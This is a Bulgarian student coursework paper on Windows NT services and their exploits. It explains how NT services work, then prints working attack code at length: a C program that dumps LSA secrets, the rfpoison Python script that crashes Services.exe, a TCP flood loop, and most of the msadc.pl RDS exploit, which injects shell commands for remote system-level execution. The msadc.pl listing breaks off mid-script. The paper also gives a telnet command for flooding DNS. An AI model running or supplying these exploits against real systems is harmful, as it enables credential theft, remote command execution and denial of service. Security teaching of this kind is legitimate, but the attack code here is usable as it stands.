Курсова работа по

“Мрежова сигурност”

на тема "Exploiti za NT Services"

на Ф № 31114 и Ф № 30607

2

NT Service е бекграунд процес, който се зарежда от Service Control Manager на ядрото. Те често се зареждат по време на bootup, преди потребителят да е влязъл в системата и не зависят от потребителя, log-нат в системата по същото време. Ако една услуга не е стартирана автоматично от системата, тя може да бъде стартирана от потребителя през NT Control Panel's Services applet, или чрез друга програма с интерфейс NT's Service Control Manager.

В много случаи операционната система се нуждае от начин бекграунд процеси да вървят независимо от този, който използва конзолата. Някои процеси, които се имплементират като услуги са:

• Хардуерните драйвери, или приложения, контролиращи хардуера, свързан със системата

• RPC (Remote Procedure Call) server, или DCOM (Distributed Component Object Model) server.

• Софтуер, който комуникира от NT системата с потребители на други машини, независимо от това кой е log-нат в конзолата, например BBS, или факс сървър. Известни примери на продукти, които вървят като услуги са FTP сървърите, уеб сървърите, InterBase сървърът за бази данни

Като цяло, всяко задание, което искаме да върви независимо от конзолата, е добър кандидат за услуга. Това не означава, че услугите трябва да са напълно независими от конзолата, те могат да имат потребителски интерфейс, а също така понякога могат да бъдат стартирани и прекъсвани от него. Обикновено обаче, услугите са бекграунд приложения, които вървят през цялото време и се активират автоматично от NT при системен bootup, а се изключват само при изключване на системата.

Услугите са нормални Windows 32 bit изпълними файлове и могат да бъдат както GUI mode приложения, така и console mode. И в двата случая, главната функция на услугата регистрира функцията ServiceMain(), като извиква StartServiceCtrlDispatcher() и след това се връща. След това NT ще извика вече регистрираната ServiceMain(), когато дойде време за стартиране на услугата.Когато е извикана от Service Control Manager, функцията ServiceMain()извиква API функцията RegisterServiceCtrlHandler(), за да регистрира функциятаHandler() с помощта на Service Control Manager. След това ServiceMain() стартира нишката, която всъщност изпълнява функциите на услугата. ServiceMain() не се връща, докато услугата не спре.Когато услугата трябва да бъде стартирана отново, Service Control Manager просто ще извика ServiceMain() отново.

На функцията Handler() се предават заявки от Service Control Manager.Следващите заявки са стандартни заявки, използвани от SCM за контролиране на услугата:

• SERVICE_CONTROL_STOP: Казва на услугата да спре. • SERVICE_CONTROL_PAUSE: Казва на услугата да направи пауза.

3

• SERVICE_CONTROL_CONTINUE: Казва на услугата да продължи операция след пауза.

• SERVICE_CONTROL_INTERROGATE:Изисква текущия статус на услугата. • SERVICE_CONTROL_SHUTDOWN: Казва на услугата, че предстои

системно изключване.

Вървящата като Windows NT Server услуга позволява на сървърното приложение да имперсонира клиента, докато достъпва обекти и изпълнява действия на клиента. Тази способност осигурява изпълнение на сървърното приложение от страна на клиента, без да върви с неподходящо високи привилегии. Освен това, сървърното приложение няма да има възможност да изпълнява операции, които не са разрешени за клиента.

Сатртирайки автоматично, сървърното приложение, имплементирано като услуга, може да бъде достъпено толкова дълго, колкото Windows NT Server върви. Нещо повече, други подобни услуги могат лесно да бъдат стартирани, а там , където е подходящо - автоматично.

Освен това, имплементирането на сървърно приложение като услуга позволява приложението да бъде инсталирано и контролирано с помощта на стандартно Win32 API. Такава услуга може да бъде стартирана и спряна и локално, и отдалечено, като по този начин предоставя ня системните администратори лесен и консистентен начин за контрол на услугата в мрежата.

Една Win32 услуга е всъщност просто Win32 изпълним файл, който има следните характеристики:

1. Животът му се контролира от SCM (Service Control Manager) o Регистрира се със SCM o Разбира и Изпълниява команди на SCM

2. Има своя собствена NT login сесия, или поделя такава с друга услуга o Върви като потребител, или LocalSystem o Subject to applicable NT сигурност

3. Имплементира набор от специфични за услугата функции: o Стартиране o Message хендлъри o Обратна комуникация със SCM

Животът на една NT услуга е следният:

1. SCM създава уникална logon сесия за услугата (включваща прозоречна станция, десктоп и access token)

o Прозоречна станция: прозоречната станция е сигурен обект, който съдържа клипборд, набор от глобални частици и група от десктоп

4

обекти. Интерактивната прозоречна станция, свързана с logon сесията на интерактивния потребител, също така съдържа клавиатурата, мишката и устройство за дисплей. Интерактивната прозоречна станция е видима за потребителя и може да получава входни данни от него. Всички други станции са неинтерактивни, което означава, че те не могат да бъдат видими за потребителя и не могат да получават входни данни от него.

o Десктоп:Десктопът е сигурен обект, съдържащ се в прозоречната станция. Той има логически дисплей и съдържа прозорци, менюта и hooks. Една прозоречна станция може да има няколко десктопа.Само десктопите на интерактивния прозорец могат да бъдат видими и да получават данни. На интерактивнта прозоречна станция, само десктопът е активен. Този активен десктоп е постоянно видим за потребителя и получава входни данни от него.

o Access token: Група от сигурни атрибути, прикачени към процес, когато потребител се log-ва в операционната система.Тя съдържа привилегии и защитни идентификатори за потребителя, глобалната група, или локалната група. Привилегиите регулират използването на някои системни услуги, а защитните идентификатори регулират достъпа до обекти, които са защитени от access-control lists (ACLs).

2. main() , или WinMain() стартира service control dispatcher o Предава структурата SERVICE_TABLE_ENTRY на SCM. o В резултат на това, услугата е винаги поне 2 нишки.

3. Service control dispatcher прави две неща: 1. Създава нишка и извиква ServiceMain() 2. Изпраща съобщение на message handler (след като ServiceMain() го

регистрира) 4. ServiceMain() се извиква от SCM

1.Регистрира control handler-а

2.Изпраща статус за стартиране на SCM

3.Класифицира всички параметри, подадени от контролера

4.Инициализира ресурсите и се приготвя да тръгне

5.Казва на SCM , че върви.

6.Извършва действията, за които е предназначена

7.Чака сигнал за спиране от control handler-а

8.Изчиства ресурсите и се терминира

5. handler функцията управлява съобщенията от SCM

5

o Service creator-а решава как да управлява събитията o Не всички услуги приемат всички събития

EventLog и RPC не изпълняват пауза и не спират Spooler не изпълнява пауза

o Handler – ът може да приема потребителски съобщения

Когато едно приложение върви като услуга на Windows NT сървър, Service Control Manager обикновено се извиква, за да намери неговата main функция. Той оперира на базата на услугите на базата данни

o Обикновено се имплементира като ключове за registry - то (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services)

o Има някои стандартни ключове, които обикновено са неразбираеми за потребителя:

Enum ключът Security ключът Parameters ключът

o Потребителят може да си направи собствен ключ, но премахването на услугата ще доведе до изтриване и на всички подключове, не само на стандартните.

o Съдържа информация за: Изпълнимите възможности Startup типа Startup сигурността Приетите събития Хардуерните профили

• Има RPC интерфейс • Не прави нищо, ако не му бъде указано

o Приема заявки за инсталиране и премахване на услуги Logon информация Зависимости Приятелски имена

o Управлява собствената база данни o Създава услуги по време на startup, или при изискване o Изпраща stop, pause, continue и custom съобщения на event handler –

ите на услугата o Управлява заявките за статуса на индивидуални услуги

NT услугите се използват за:

1. Сървърните процеси, които се стартират по време на boot- ването и остават по време на различни GUI login сесии.

o IIS o Oracle

2. Задания, които вървят независимо от това дали потребителят е log-нат в системата.

6

o McAffee AntiVirus o Norton SpeedDisk

3. Задания, които имперсонират други потребители o Telnetd o SuNT

4. Части от самата операционна система o RPC o Client Service for NetWare

NT услугите имат следните добри характеристики:

• Пазят информация в registry o Технически, всички Win32 приложения би трябвало да правят това

• Event logging o Т.к. няма потребителски интерфейс o Изисква се DLL с всички наши ограничения o Може да бъде използвано за SNMP alerts

• Публикуване на данни за изпълнението на услугата o Time metrics o Resource metrics

• Control Panel ,или MMC интерфейс o Това са стандартите, които Microsoft препоръчва o MMC е за предпочитане, но той е по-сложен o Повечето услуги вървят с малки аплети, които ги контролират

Ето и някои по -важни услуги:

NetLogon service. NetLogon service log-ва потребители в NT домейн-а, валидира потребителските имена и пароли и синхронизира базата данни за потребителските акаунти между Primary и Backup Domain Controllers (PDC and BDC). NetLogon service се изисква на NT Workstation и NT Server. NetLogon service на работната станция комуникира с NetLogon service на домейн контролера, за да предаде logon параметрите през сигурен комуникационен канал.Ако NetLogon service не върви, домейн кнтролерът не може да валидира потребителите. Ако локалната NetLogon service не върви,потребителят няма да може да се log-не локално,или log- не с домайн с кеширани credentials.Ако на NetLogon service бъде зададена пауза, нови потребители няма да могат да се log-нат в системата.

The Workstation service. Workstation service е известна още под името Redirector.Тя получава файлове, или достъпва принтери от мрежата. За нея няма значение дали върви NT Workstation, или NT Server:Докато Workstation service върви, можем да се свързваме с поделени мрежови ресурси на NT Workstation, или NT Server.

The Server service. Server service допълва Workstation service като предоставя достъп до поделени ресурси на локалния компютър (Както Workstation service, Server service може да върви на NT Workstation, или NT Server.Ако компютърът

7

има поделен ресурс, този ресурс е достъпен с помощта на Server service.) Server service предоставя съобщения, които изброяват наличните ресурси на главния браузър на всеки 12 минути. Ако Server service не върви, потребителите няма да могат да виждат, или да се свързват с поделени ресурси.Ако на Server service бъде зададена пауза, тя няма да прекъсне връзката с поделените ресурси на текущо свързаните потребители, но ще предотврати откриването на нови конекции.

YMPTOMS===Атака върху NT DNS Server===== Тази атака най – често се прилага върху компютри, свързани с публични мрежи, като интернет, където преднамерени атаки са често срещани. Тя обикновено се изпълнява с предаване на следната команда към атакуваната система: telnet <mycomputer> 19 | telnet <mycomputer> 53 Тази команда води до установяване на telnet конекция на порт 19 с изход, пренасочен към telnet конекция на порт 53 ( DNS услугата ) Това flood – ване от символи предизвиква Access Violation в DNS услуга, която терминира, разрушава name resolution услугите. Майкрософт потвърждават, че такъв проблем е наличен в Windows NT версия 4.0 и препоръчват да се изчака следващия Service Pack, в който ще има fix за него.

Известен Windows NT вирус, който може да модифицира файлове, е "Remote Explorer", или "RICHS". Този вирус има възможностите на човека, който го изпълнява. Но Remote Explorer може да се инсталира, като Windows NT услуга, ако заразеният файл се изпълнява от някого с локални администраторски права. Веднъж инсталиран като улуга, той може да имперсонира всеки, който се log- не в системата, включително и домейн администраторите. След това, използвайки тяхните привилегии, той заразява други файлове в мрежата. Способността за имперсониране на текущо log- нат потребител е функция на всяка услуга, инасталирана с привилегии.

Възможни защити от този проблем са :

• Log- ване с администраторски права само, когато това е наложително и избягване на даване на повишени права при изпълнение на обикновени задания.

• Log- ване като домейн администратор само от сигурни работни станции. • Инсталиране и поддръжка на антивирусни инструменти. • Предотвратяване на пускане на изпълними файлове от непроверени

източници. • Образоване на потребителите за политиката на защита

8

Без знанието на потребителя, MS Internet explorer на Windows NT се опитва да се аутентикира с отдалечен Уеб сървър, който изисква NTLM аутентикация. По време на процеса на аутентикация, IE изпраща потребителското име, домейн името, или група и име на хост, в чист текст на всеки, който пожелае. Отдалеченият сървър изпраща 8 байта challenge на клиента,с който IE клиентът на NT криптира паролата и я изпраща обратно на сървъра. Сървърът сравнява своята версия на паролата с криптираната и изпратена от клиента, за да завърши аутентикацията. Фактически са изпратени 2 версии на нашата криптирана парола, едната от които е базирана на пълната дължина и подредбата на символите до 128 символа, а втората представлява първите 14 символа от паролата, представени с големи букви. Проблемите, които възникват са:

- сървърът мове да изпраща същото challenge на всеки клиент, който се свърже с него

- сървърът може да изисква challenge от друг сървър и да го изпрати на нас, за да бъде криптиран

- клиентът не може да разбере дали процесът на аутентикация е приключил

- клиентът не може да разбере дали говори с аутентикиран сървър

Решение на проблема би могло да бъде забраняване на NTLM SSP услугата в control-panel/services, но това би могло да бъде detrimental за други услуги на NT. Windows NT Logon Denial of Service Тази атака се прилага върху Microsoft Windows NT servers, резултатът от нея е “син екран” и рестартиране на Windows NT системата. Windows NT използва SMB/CIFS протокол за споделяне на файлове по мрежата и други комуникации. За да бъде достъпена SMB/CIFS услугата на Windows NT системата, се създава log on заявка. В резултат на неправилно пренасяне на SMB log on пакета, в ядрото настъпва “ подправяне на паметта ”, появява се “син екран” и системата се рестартира. Един SMB logon пакет съдържа следните данни: - потребителско име - парола - операционна система - Lan Manager тип - домейн SMB logon заявката съдържа размера на данните, които следват. Когато този размер не отговаря на размера на данните, които всъщност се предават настъпва подправяне.

9

Следващият код илюстрира как могат да бъдат получени различни “тайни ” на локалния системен администратор, като пароли за улсугите(в чист текст), кеширани хешове от пароли на скорошни потребители, FTP, WEB и други пароли в чист текст, RAS dial up имена на акаунти, пароли, пароли на работната станция за достъп до домейн и други: #include <windows.h> #include <stdio.h> #include "ntsecapi.h" #define AST(x) if (!(x)) {printf("Failed line %d\n", __LINE__);exit(1);} else void write(); PLSA_UNICODE_STRING str(LPWSTR x) { static LSA_UNICODE_STRING s; s.Buffer=x; s.Length=wcslen(x)*sizeof(WCHAR); s.MaximumLength = (wcslen(x)+1)*2; return &s; } int _cdecl main(int argc, char *argv[]) { LSA_HANDLE pol; PLSA_UNICODE_STRING foo; LSA_OBJECT_ATTRIBUTES attrs; WCHAR keyname[256]=L""; WCHAR host[256]=L""; wsprintfW(keyname, L"%hS", argv[1]); if(argc == 3) wsprintfW(host, L"%hS", argv[2]); memset(&attrs, 0, sizeof(attrs)); AST(!LsaOpenPolicy(str(host), &attrs, 0, &pol)); AST(!LsaRetrievePrivateData(pol, str(keyname), &foo)); write(1, foo->Buffer, foo->Length); LsaClose(pol); exit(0); } Следващият код предизвикваWindows NT's Services.exe да се “ счупи ”,в резултат на което циалата комуникация, базирана на именовани канали да спре. Последствията за системата са, че тя няма да може да изпълнява log on, log out, отдалечен достъп до системата, заявки за управление на локалния сървър, заявки към IIS , поделяне на файлове и други. Това ефективно води до Denial of Service: Възможни решения на този проблем са:

- блокиране на порт 139 на нашия firewall (това обаче не спира вътрешна атака)

10

- изключване на Server услугата - TCP/IP от NetBIOS интерфейса

Специално изработен пакет може да направи локалната администрация и мрежовата комуникация неизползваеми. Тази атака атакува Services.exe файла, който на свой ред, отнема способността на машината да изпълнява различни операции чрез именовани канали. В последствие, потребителите няма да имат възможност за отдалечен logon, logoff, няма да могат да управляват registry – то, да създават нови конекции за споделяне на файлове. Някои услуги, като Internet Information Server също могат да започнат да работят необичйно. Reboot – ване на атакуваната машина решава проблемите, стига разбира се тя да не бъде атакувана повторно.

Проблемът, с който е свързана атаката, е в начина,по който srvsvc.dll се обръща към services.exe. Някои MSRPC извиквания връщат нулеви стойности, които не се интерпретират коректно от services.exe.

Ето и кода на тази атака:

#!/usr/bin/env python # # Services.exe DoS # hard work done by: rfp wiretrip net # Python hack by: nas adler dynodns net # # This only seems to work on NT. Also, it may have to be run multiple times # before SERVICES.EXE will die. Improvements welcome. # # Usage: rfpoison.py <ip address> import string import struct from socket import * import sys def a2b(s): bytes = map(lambda x: string.atoi(x, 16), string.split(s)) data = string.join(map(chr, bytes), '') return data def b2a(s): bytes = map(lambda x: '%.2x' % x, map(ord, s)) return string.join(bytes, ' ') # NBSS session request nbss_session = a2b(""" 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46

11

43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00 00 00 """) # SMB stuff crud = ( # SMBnegprot Request """ ff 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 """, # SMBsessetupX Request """ ff 53 4d 42 73 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00 """, # SMBtconX Request """ ff 53 4d 42 75 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00 00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56 45 52 5c 49 50 43 24 00 49 50 43 00 """, # SMBntcreateX request """ ff 53 4d 42 a2 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00 07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72 76 73 76 63 00 """, # SMBtrans Request """ ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c

12

00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49 50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 """, # SMBtrans Request """ ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49 50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00 00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00 00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 """ ) crud = map(a2b, crud) def smb_send(sock, data, type=0, flags=0): d = struct.pack('!BBH', type, flags, len(data)) #print 'send:', b2a(d+data) sock.send(d+data) def smb_recv(sock): s = sock.recv(4) assert(len(s) == 4) type, flags, length = struct.unpack('!BBH', s) data = sock.recv(length) assert(len(data) == length) #print 'recv:', b2a(s+data) return type, flags, data def nbss_send(sock, data): sock.send(data) def nbss_recv(sock): s = sock.recv(4) assert(len(s) == 4) return s def main(host, port=139): s = socket(AF_INET, SOCK_STREAM) s.connect(host, port) nbss_send(s, nbss_session) nbss_recv(s) for msg in crud[:-1]: smb_send(s, msg) smb_recv(s) smb_send(s, crud[-1]) # no response to this

13

s.close() if __name__ == '__main__': print 'Sending poison...', main(sys.argv[1]) print 'done.'

Възможни защити срещу тази атака са: разрешаване на 'RestrictAnonymous', Unbind на NetBIOS от TCP/IP и спиране на Server услугата, въпреки че това би направило машината почти неизползваема от мрежата, с изключение на FTP и http услугите.

FreeIPS DoS уязвимост:

FreeIPS сканира TCP конекции за специфични стрингове, дефинирани от регулярни изрази. Ако даден пакет отговаря на регулярния израз, FreeIPS го приема като злонамерен и се опитва да затвори TCP конекцията. Това се постига чрез изпращане на TCP RST пакети до клиента( атакуващия ) и сървъра(TCP сървърът, жертва на атаката ).

Софтуерът коректно генерира TCP RST+ACK пакет до клиента, но пакетът, изпратен до сървъра, е некоректно генериран. Той съдържа невалидна последователност и числа за потвърждение, и бива игнориран.

Атакуващият може да предизвика DoS на всяко TCP приложение, защитено от FreeIPS, отказвайки мрежови услуги на легитимни потребители. За да бъде успешно изпълнена тази атака, атакуващият трябва да знае, или налучка шаблона, който отговаря на регулярния израз във FreeIPS:

int main(int argc, char *argv[]) { int sockfd, pass=0, len; struct sockaddr_in server; if (argc < 4) { printf ("USAGE: %s IP port payload [paylen]\n", argv[0]); exit(1); } if (argc > 4) len = atoi(argv[4]); else len = strlen(argv[3]); server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_port = htons(atoi(argv[2])); server.sin_family = AF_INET; while (1) { printf("pass: %d\n", ++pass);

14

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket"); exit(1); } if (connect(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr_in)) < 0) { perror("connect"); continue; } if (send(sockfd, argv[3], len, 0) != len) { perror("send"); exit(1); } close(sockfd); } }

MDAC (Microsoft Data Access Components) е пакет, използван за интегриране на web и услуги за бази данни. Той включва компонент, наричан RDS (Remote Data Services). Той позволява отдалечен достъп през интернет до обекти на базата данни през IIS. И двата инструмента са включени в инсталацията на Windows NT 4.0 Option Pack, но могат да бъдат премахнати чрез потребителска инсталация.

RDS включва компонент, наричан DataFactory обект, който притежава уязвимост, позволяваща на всеки web потребител да:

- получи неоторизиран достъп да непубликувани на IIS сървъра файлове

- използва MDAC за тунелиране на ODBC заявки до отдалечено, или вътрешно местоположение, като по този начин получи достъп да не - обществени сървъри, или ефективно представи като източник на атаката друга мрежа

Главният риск при тази уязвимост е следният: Ако Microsoft JET OLE DB Provider, или Microsoft DataShape Provider са инсталирани, потребителят може да използва shell() VBA командата на сървъра със системни привилегии. По този начин потребител по интернет може да стартира команди, с привилегии на системно ниво, на хоста мишена.

15

#!/usr/bin/perl # # MSADC/RDS 'usage' (aka exploit) script version 2 # # by rain forest puppy # # - added UNC support, really didn't clean up code, but oh well use Socket; use Getopt::Std; getopts("e:vd:h:XRVNwcu:s:", \%args); print "-- RDS smack v2 - rain forest puppy / ADM / wiretrip --\n"; if (!defined $args{h} && !defined $args{R}) { print qq~ Usage: msadc.pl -h <host> { -d <delay> -X -v } -h <host> = host you want to scan (ip or domain) -d <seconds> = delay between calls, default 1 second -X = dump Index Server path table, if available -N = query VbBusObj for NetBIOS name -V = use VbBusObj instead of ActiveDataFactory -v = verbose -e = external dictionary file for step 5 -u <\\\\host\\share\\file> = use UNC file -w = Windows 95 instead of Windows NT -c = v1 compatibility (three step query) -s <number> = run only step <number> Or a -R will resume a (v2) command session ~; exit;} ########################################################### # config data @drives=("c","d","e","f","g","h"); @sysdirs=("winnt","winnt35","winnt351","win","windows"); # we want 'wicca' first, because if step 2 made the DSN, it's ready to go @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"); # this is sparse, because I don't know of many @sysmdbs=( "\\catroot\\icatalog.mdb", "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\certmdb.mdb", "\\system32\\ias\\ias.mdb", "\\system32\\ias\dnary.mdb",

16

"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "\\cfusion\\cfapps\\forums\\forums_.mdb", "\\cfusion\\cfapps\\forums\\data\\forums.mdb", "\\cfusion\\cfapps\\security\\realm_.mdb", "\\cfusion\\cfapps\\security\\data\\realm.mdb", "\\cfusion\\database\\cfexamples.mdb", "\\cfusion\\database\\cfsnippets.mdb", "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "\\cfusion\\brighttiger\\database\\cleam.mdb", "\\cfusion\\database\\smpolicy.mdb", "\\cfusion\\database\cypress.mdb", "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "\\website\\cgi-win\\dbsample.mdb", "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ); #these are just \ ########################################################### $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; if (defined $args{v}) { $verbose=1; } else {$verbose=0;} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} if(!defined $args{R}){ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} if (!defined $args{R}){ $ret = &has_msadc; } if (defined $args{X}) { &hork_idx; exit; } if (defined $args{N}) { &get_name; exit; } if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";} if (defined $args{R}) { &load; exit; } print "Type the command line you want to run ($comm assumed):\n" . "$comm "; $in=<STDIN>; chomp $in; $command="$comm " . $in ; if (!defined $args{s} || $args{s}==1){ print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &try_btcustmr;} if (!defined $args{s} || $args{s}==2){ print "\nStep 2: Trying to make our own DSN..."; if (&make_dsn){ print "<<success>>\n"; sleep(3); } else { print "<<fail>>\n"; }} # we need to sleep to let the server catchup if (!defined $args{s} || $args{s}==3){ print "\nStep 3: Trying known DSNs..."; &known_dsn;} if (!defined $args{s} || $args{s}==4){ print "\nStep 4: Trying known .mdbs..."; &known_mdb;}

17

if (!defined $args{s} || $args{s}==5){ if (defined $args{u}){ print "\xStep 5: Trying UNC..."; &use_unc; } else { "\nNo -u; Step 5 skipped.\n"; }} if (!defined $args{s} || $args{s}==6){ if (defined $args{e}){ print "\nStep 6: Trying dictionary of DSN names..."; &dsn_dict; } else { "\nNo -e; Step 6 skipped.\n"; }} print "\n\nNo luck, guess you'll have to use a real hack, eh?\n"; exit; ############################################################################## sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ open(OUT,">raw.out"); my @in; select(S); $|=1; print $pstr; while(<S>){ print OUT $_; push @in, $_; print STDOUT "." if(defined $args{X});} close(OUT); select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub make_header { # make the HTTP request my $aa, $bb; if (defined $args{V}){ $aa="VbBusObj.VbBusObjCls.GetRecordset"; $bb="2"; } else { $aa="AdvancedDataFactory.Query"; $bb="3";} $msadc=<<EOT POST /msadc/msadcs.dll/$aa HTTP/1.1 User-Agent: ACTIVEDATA Host: $ip Content-Length: $clen Connection: Keep-Alive ADCClientVersion:01.06 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=$bb --!ADM!ROX!YOUR!WORLD! Content-Type: application/x-varg Content-Length: $reqlen EOT

18

; $msadc=~s/\n/\r\n/g; return $msadc;} ############################################################################## sub make_req { # make the RDS request my ($switch, $p1, $p2)=@_; my $req=""; my $t1, $t2, $query, $dsn; if ($switch==1){ # this is the btcustmr.mdb query $query="Select * from Customers where City='|shell(\"$command\")|'"; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} elsif ($switch==2){ # this is general make table query $query="create table AZZ (B int, C varchar(10))"; $dsn="$p1";} elsif ($switch==3){ # this is general exploit table query $query="select * from AZZ where C='|shell(\"$command\")|'"; $dsn="$p1";} elsif ($switch==4){ # attempt to hork file info from index server $query="select path from scope()"; $dsn="Provider=MSIDXS;";} elsif ($switch==5){ # bad query $query="select"; $dsn="$p1";} elsif ($switch==6){ # this is table-independant query (new) $query="select * from MSysModules where name='|shell(\"$command\")|'"; $dsn="$p1";} $t1= make_unicode($query); $t2= make_unicode($dsn); if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; } $req.= "\x08\x00" . pack ("S1", length($t1)); $req.= "\x00\x00" . $t1 ; $req.= "\x08\x00" . pack ("S1", length($t2)); $req.= "\x00\x00" . $t2 ; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; return $req;} ############################################################################## sub make_unicode { # quick little function to convert to unicode my ($in)=@_; my $out; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } return $out;} ##############################################################################

19

sub rdo_success { # checks for RDO return success (this is kludge) my (@in) = @_; my $base=content_start(@in); if($in[$base]=~/multipart\/mixed/){ return 1 if( $in[$base+10]=~/^\x09\x00/ );} return 0;} ############################################################################## sub make_dsn { # this (tries to) make a DSN for us print "\nMaking DSN: "; foreach $drive (@drives) { print "$drive: "; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; return 0 if $2 eq "404"; # not found/doesn't exist if($2 eq "200") { foreach $line (@results) { return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} } return 0;} ############################################################################## sub verify_exists { my ($page)=@_; my @results=sendraw("GET $page HTTP/1.0\n\n"); return $results[0];} ############################################################################## sub try_btcustmr { foreach $dir (@sysdirs) { print "$dir -> "; # fun status so you can see progress foreach $drive (@drives) { print "$drive: "; # ditto $reqlen=length( make_req(1,$drive,$dir) ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,$drive,$dir)); if (rdo_success(@results)){print "Success!\n"; save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;"); exit;} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ##############################################################################

20

